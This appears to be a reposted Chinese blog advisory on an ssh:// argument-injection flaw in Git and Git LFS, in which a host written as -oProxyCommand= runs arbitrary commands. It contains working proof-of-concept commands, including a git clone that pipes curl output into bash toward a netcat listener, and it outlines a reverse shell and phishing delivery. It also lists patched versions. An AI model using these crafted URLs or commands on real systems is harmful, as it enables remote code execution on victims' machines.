Git命令执行漏洞

Git命令造成的反弹shell

漏洞描述:

  Git LFS可以.lfsconfig使用LFS由存储库中的文件配置(部分),并且可以将Git LFS指向ssh://。

[lfs]
    url = ssh://-oProxyCommand= some-command

  当使用这样的.lfsconfig文件克隆存储库时,使用LFS插件的Git将尝试调用ssh以从主机获取LFS对象 -oProxyCommand=some-command。然而,SSH会将该主机名解释为一个-o选项,并随后尝试调用some-command以建立连接。

  这样的话,可以通过克隆存储库的Git LFS客户端的精心设计的存储库来执行任意命令。

  通过在新项目中导入存储库,ssh://可以在GitLab主机上执行URL服务器端代码执行。

利用方式:

  远程钓鱼,社工

  恶意的攻击者可以向受害者发送一条精心构造的ssh:// URL链接,当受害者访问这条URL则会触发漏洞导致执行恶意代码。

漏洞证明:

   反弹计算器

git clone ssh://-oProxyCommand=gnome-calculator/wat

 

  进一步利用

  本机测试环境

  先建立监听

nc -vlp 9999

  利用git clone 获取镜像库

git clone ssh://-oProxyCommand='curl 127.0.0.1:9999 | bash'/xx

命令被成功执行

 

建立连接之后,尝试执行反弹shell命令,同时监听新的端口,完成反弹shell。

 

漏洞修复建议(或缓解措施):

Git:升级到Git v2.14.1版本

Apache Subversion:升级到Subversion 1.8.19、Subversion 1.9.7版本

Mercurial:升级到Mercurial 4.3 and 4.2.3.版本

参考文章:

https://help.aliyun.com/knowledge_detail/57887.html

http://bobao.360.cn/news/detail/4260.html?spm=5176.7757887.2.2.IkQv67

原文地址:https://www.cnblogs.com/zhaijiahui/p/7351594.html